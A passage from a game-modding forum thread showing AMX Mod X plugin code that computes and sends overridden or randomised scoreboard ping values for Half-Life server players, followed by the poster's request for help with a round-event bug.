                                        write_byte((g_iOffset[ player ][ 0 ] * 64 ) + ( 1 + 2 * ( player - 1 )));
                                        write_short(g_iArgumentPing[ player ][ 0 ]);
                                }
                sending++;
            }
           
            case 1:
            {
                                if (iStarted)
                                {
                                        write_byte( ( g_iOffset[ player ][ 1 ] * 128 ) + ( 2 + 4 * ( player - 1 ) ) );
                                        write_short( g_iArgumentPing[ player ][ 1 ] );
                                }
                                sending++;
            }
           
            case 2:
            {
                                if (iStarted)
                                {
                                        write_byte( ( 4 + 8 * ( player - 1 ) ) );
                                        write_short( g_iArgumentPing[ player ][ 2 ] );
                                        write_byte( 0 );
                                        message_end( );
                                }
                                sending = 0;
            }
        }
    }
   
    if (sending && iStarted)
    {
        write_byte( 0 );
        message_end( );
    }
}

public TaskCalculateArguments()
{
    static player, ping;
    for( player = 1; player <= g_iMaxClients; player++ )
    {
        if( g_iPingOverride[ player ] < 0 )
                {
            ping = random_num(-4, 4) + 12;
        }
        else
                {
            ping = g_iPingOverride[ player ];
        }
        for( g_iOffset [ player ][ 0 ] = 0; g_iOffset[ player ][ 0 ] < 4; g_iOffset[ player ][ 0 ]++ )
        {
            if( ( ping - g_iOffset[ player ][ 0 ] ) % 4 == 0 )
            {
                g_iArgumentPing[ player ][ 0 ] = ( ping - g_iOffset[ player ][ 0 ] ) / 4;
                break;
            }
        }
       
        for (g_iOffset[player][1] = 0; g_iOffset[player][1] < 2; g_iOffset[player][1]++)
        {
            if( ( ping - g_iOffset[ player ][ 1 ] ) % 2 == 0 )
            {
                g_iArgumentPing[ player ][ 1 ] = ( ping - g_iOffset[ player ][ 1 ] ) / 2;
                break;
            }
        }
        g_iArgumentPing[ player ][ 2 ] = ping;
    }
}


I think its something with the logevent(RoundStart Or RoundEnd)
Would be very thankful


All times are GMT -4. The time now is 01:04.

Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.